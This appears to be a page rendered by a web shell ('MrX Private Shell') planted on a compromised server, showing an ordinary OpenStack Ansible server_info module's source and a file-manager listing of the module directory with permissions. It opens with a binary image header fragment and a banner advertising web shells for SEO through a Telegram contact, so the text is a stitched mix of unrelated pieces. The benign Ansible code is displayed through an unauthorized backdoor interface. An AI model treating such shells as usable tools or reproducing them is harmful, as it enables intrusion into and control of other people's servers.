����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright (c) 2014 Hewlett-Packard Development Company, L.P.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
DOCUMENTATION = '''
---
module: server_info
short_description: Retrieve information about one or more compute instances
author: OpenStack Ansible SIG
description:
- Retrieve information about server instances from OpenStack.
- This module was called C(os_server_facts) before Ansible 2.9, returning C(ansible_facts).
Note that the M(openstack.cloud.server_info) module no longer returns C(ansible_facts)!
notes:
- The result contains a list of servers.
options:
server:
description:
- restrict results to servers with names or UUID matching
this glob expression (e.g., <web*>).
type: str
detailed:
description:
- when true, return additional detail about servers at the expense
of additional API calls.
type: bool
default: 'no'
filters:
description:
- restrict results to servers matching a dictionary of
filters
type: dict
all_projects:
description:
- Whether to list servers from all projects or just the current auth
scoped project.
type: bool
default: 'no'
requirements:
- "python >= 3.6"
- "openstacksdk"
extends_documentation_fragment:
- openstack.cloud.openstack
'''
EXAMPLES = '''
# Gather information about all servers named <web*> that are in an active state:
- openstack.cloud.server_info:
cloud: rax-dfw
server: web*
filters:
vm_state: active
register: result
- debug:
msg: "{{ result.openstack_servers }}"
'''
from ansible_collections.openstack.cloud.plugins.module_utils.openstack import OpenStackModule
class ServerInfoModule(OpenStackModule):
deprecated_names = ('os_server_info', 'openstack.cloud.os_server_info')
argument_spec = dict(
server=dict(required=False),
detailed=dict(required=False, type='bool', default=False),
filters=dict(required=False, type='dict', default=None),
all_projects=dict(required=False, type='bool', default=False),
)
module_kwargs = dict(
supports_check_mode=True
)
def run(self):
kwargs = self.check_versioned(
detailed=self.params['detailed'],
filters=self.params['filters'],
all_projects=self.params['all_projects']
)
if self.params['server']:
kwargs['name_or_id'] = self.params['server']
openstack_servers = self.conn.search_servers(**kwargs)
self.exit(changed=False, openstack_servers=openstack_servers)
def main():
module = ServerInfoModule()
module()
if __name__ == '__main__':
main()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| address_scope.py | File | 5.98 KB | 0644 |
|
| auth.py | File | 1.33 KB | 0644 |
|
| baremetal_inspect.py | File | 4.19 KB | 0644 |
|
| baremetal_node.py | File | 15.53 KB | 0644 |
|
| baremetal_node_action.py | File | 12.65 KB | 0644 |
|
| baremetal_node_info.py | File | 21.74 KB | 0644 |
|
| baremetal_port.py | File | 11.64 KB | 0644 |
|
| baremetal_port_info.py | File | 6.83 KB | 0644 |
|
| catalog_service.py | File | 5.12 KB | 0644 |
|
| coe_cluster.py | File | 8.7 KB | 0644 |
|
| coe_cluster_template.py | File | 12.24 KB | 0644 |
|
| compute_flavor.py | File | 7.71 KB | 0644 |
|
| compute_flavor_info.py | File | 7.79 KB | 0644 |
|
| compute_service_info.py | File | 3.56 KB | 0644 |
|
| config.py | File | 1.97 KB | 0644 |
|
| container.py | File | 5.92 KB | 0644 |
|
| dns_zone.py | File | 6.98 KB | 0644 |
|
| dns_zone_info.py | File | 5.16 KB | 0644 |
|
| endpoint.py | File | 6.34 KB | 0644 |
|
| federation_idp.py | File | 6.31 KB | 0644 |
|
| federation_idp_info.py | File | 2.21 KB | 0644 |
|
| federation_mapping.py | File | 5.18 KB | 0644 |
|
| federation_mapping_info.py | File | 2.15 KB | 0644 |
|
| floating_ip.py | File | 12.14 KB | 0644 |
|
| floating_ip_info.py | File | 6.12 KB | 0644 |
|
| group_assignment.py | File | 2.29 KB | 0644 |
|
| host_aggregate.py | File | 7.21 KB | 0644 |
|
| identity_domain.py | File | 4.71 KB | 0644 |
|
| identity_domain_info.py | File | 3.13 KB | 0644 |
|
| identity_group.py | File | 4.18 KB | 0644 |
|
| identity_group_info.py | File | 4.1 KB | 0644 |
|
| identity_role.py | File | 2.66 KB | 0644 |
|
| identity_role_info.py | File | 2.23 KB | 0644 |
|
| identity_user.py | File | 7.86 KB | 0644 |
|
| identity_user_info.py | File | 4.27 KB | 0644 |
|
| image.py | File | 8.77 KB | 0644 |
|
| image_info.py | File | 5.72 KB | 0644 |
|
| keypair.py | File | 4.44 KB | 0644 |
|
| keypair_info.py | File | 3.8 KB | 0644 |
|
| keystone_federation_protocol.py | File | 5.1 KB | 0644 |
|
| keystone_federation_protocol_info.py | File | 2.57 KB | 0644 |
|
| lb_health_monitor.py | File | 11.11 KB | 0644 |
|
| lb_listener.py | File | 8.93 KB | 0644 |
|
| lb_member.py | File | 6.71 KB | 0644 |
|
| lb_pool.py | File | 8.1 KB | 0644 |
|
| loadbalancer.py | File | 24.92 KB | 0644 |
|
| network.py | File | 8.03 KB | 0644 |
|
| networks_info.py | File | 4 KB | 0644 |
|
| neutron_rbac_policies_info.py | File | 8.27 KB | 0644 |
|
| neutron_rbac_policy.py | File | 10.53 KB | 0644 |
|
| object.py | File | 3.4 KB | 0644 |
|
| object_container.py | File | 5.92 KB | 0644 |
|
| os_auth.py | File | 1.33 KB | 0644 |
|
| os_client_config.py | File | 1.97 KB | 0644 |
|
| os_coe_cluster.py | File | 8.7 KB | 0644 |
|
| os_coe_cluster_template.py | File | 12.24 KB | 0644 |
|
| os_flavor_info.py | File | 7.79 KB | 0644 |
|
| os_floating_ip.py | File | 12.14 KB | 0644 |
|
| os_group.py | File | 4.18 KB | 0644 |
|
| os_group_info.py | File | 4.1 KB | 0644 |
|
| os_image.py | File | 8.77 KB | 0644 |
|
| os_image_info.py | File | 5.72 KB | 0644 |
|
| os_ironic.py | File | 15.53 KB | 0644 |
|
| os_ironic_inspect.py | File | 4.19 KB | 0644 |
|
| os_ironic_node.py | File | 12.65 KB | 0644 |
|
| os_keypair.py | File | 4.44 KB | 0644 |
|
| os_keystone_domain.py | File | 4.71 KB | 0644 |
|
| os_keystone_domain_info.py | File | 3.13 KB | 0644 |
|
| os_keystone_endpoint.py | File | 6.34 KB | 0644 |
|
| os_keystone_federation_protocol.py | File | 5.1 KB | 0644 |
|
| os_keystone_federation_protocol_info.py | File | 2.57 KB | 0644 |
|
| os_keystone_identity_provider.py | File | 6.31 KB | 0644 |
|
| os_keystone_identity_provider_info.py | File | 2.21 KB | 0644 |
|
| os_keystone_mapping.py | File | 5.18 KB | 0644 |
|
| os_keystone_mapping_info.py | File | 2.15 KB | 0644 |
|
| os_keystone_role.py | File | 2.66 KB | 0644 |
|
| os_keystone_service.py | File | 5.12 KB | 0644 |
|
| os_listener.py | File | 8.93 KB | 0644 |
|
| os_loadbalancer.py | File | 24.92 KB | 0644 |
|
| os_member.py | File | 6.71 KB | 0644 |
|
| os_network.py | File | 8.03 KB | 0644 |
|
| os_networks_info.py | File | 4 KB | 0644 |
|
| os_nova_flavor.py | File | 7.71 KB | 0644 |
|
| os_nova_host_aggregate.py | File | 7.21 KB | 0644 |
|
| os_object.py | File | 3.4 KB | 0644 |
|
| os_pool.py | File | 8.1 KB | 0644 |
|
| os_port.py | File | 16.46 KB | 0644 |
|
| os_port_info.py | File | 6.78 KB | 0644 |
|
| os_project.py | File | 6.33 KB | 0644 |
|
| os_project_access.py | File | 6.08 KB | 0644 |
|
| os_project_info.py | File | 4.51 KB | 0644 |
|
| os_quota.py | File | 15.99 KB | 0644 |
|
| os_recordset.py | File | 7.73 KB | 0644 |
|
| os_router.py | File | 21.82 KB | 0644 |
|
| os_routers_info.py | File | 5.55 KB | 0644 |
|
| os_security_group.py | File | 4.25 KB | 0644 |
|
| os_security_group_rule.py | File | 12.07 KB | 0644 |
|
| os_server.py | File | 26.5 KB | 0644 |
|
| os_server_action.py | File | 8.84 KB | 0644 |
|
| os_server_group.py | File | 4.12 KB | 0644 |
|
| os_server_info.py | File | 2.66 KB | 0644 |
|
| os_server_metadata.py | File | 4.84 KB | 0644 |
|
| os_server_volume.py | File | 3.67 KB | 0644 |
|
| os_stack.py | File | 7.76 KB | 0644 |
|
| os_subnet.py | File | 12.55 KB | 0644 |
|
| os_subnets_info.py | File | 4.51 KB | 0644 |
|
| os_user.py | File | 7.86 KB | 0644 |
|
| os_user_group.py | File | 2.29 KB | 0644 |
|
| os_user_info.py | File | 4.27 KB | 0644 |
|
| os_user_role.py | File | 5.65 KB | 0644 |
|
| os_volume.py | File | 7.8 KB | 0644 |
|
| os_volume_snapshot.py | File | 4.86 KB | 0644 |
|
| os_zone.py | File | 6.98 KB | 0644 |
|
| port.py | File | 16.46 KB | 0644 |
|
| port_info.py | File | 6.78 KB | 0644 |
|
| project.py | File | 6.33 KB | 0644 |
|
| project_access.py | File | 6.08 KB | 0644 |
|
| project_info.py | File | 4.51 KB | 0644 |
|
| quota.py | File | 15.99 KB | 0644 |
|
| recordset.py | File | 7.73 KB | 0644 |
|
| role_assignment.py | File | 5.65 KB | 0644 |
|
| router.py | File | 21.82 KB | 0644 |
|
| routers_info.py | File | 5.55 KB | 0644 |
|
| security_group.py | File | 4.25 KB | 0644 |
|
| security_group_info.py | File | 5.8 KB | 0644 |
|
| security_group_rule.py | File | 12.07 KB | 0644 |
|
| security_group_rule_info.py | File | 7.71 KB | 0644 |
|
| server.py | File | 26.5 KB | 0644 |
|
| server_action.py | File | 8.84 KB | 0644 |
|
| server_group.py | File | 4.12 KB | 0644 |
|
| server_info.py | File | 2.66 KB | 0644 |
|
| server_metadata.py | File | 4.84 KB | 0644 |
|
| server_volume.py | File | 3.67 KB | 0644 |
|
| stack.py | File | 7.76 KB | 0644 |
|
| stack_info.py | File | 2.44 KB | 0644 |
|
| subnet.py | File | 12.55 KB | 0644 |
|
| subnet_pool.py | File | 10.99 KB | 0644 |
|
| subnets_info.py | File | 4.51 KB | 0644 |
|
| volume.py | File | 7.8 KB | 0644 |
|
| volume_backup.py | File | 6.26 KB | 0644 |
|
| volume_backup_info.py | File | 2.9 KB | 0644 |
|
| volume_info.py | File | 3.65 KB | 0644 |
|
| volume_snapshot.py | File | 4.86 KB | 0644 |
|
| volume_snapshot_info.py | File | 3.43 KB | 0644 |
|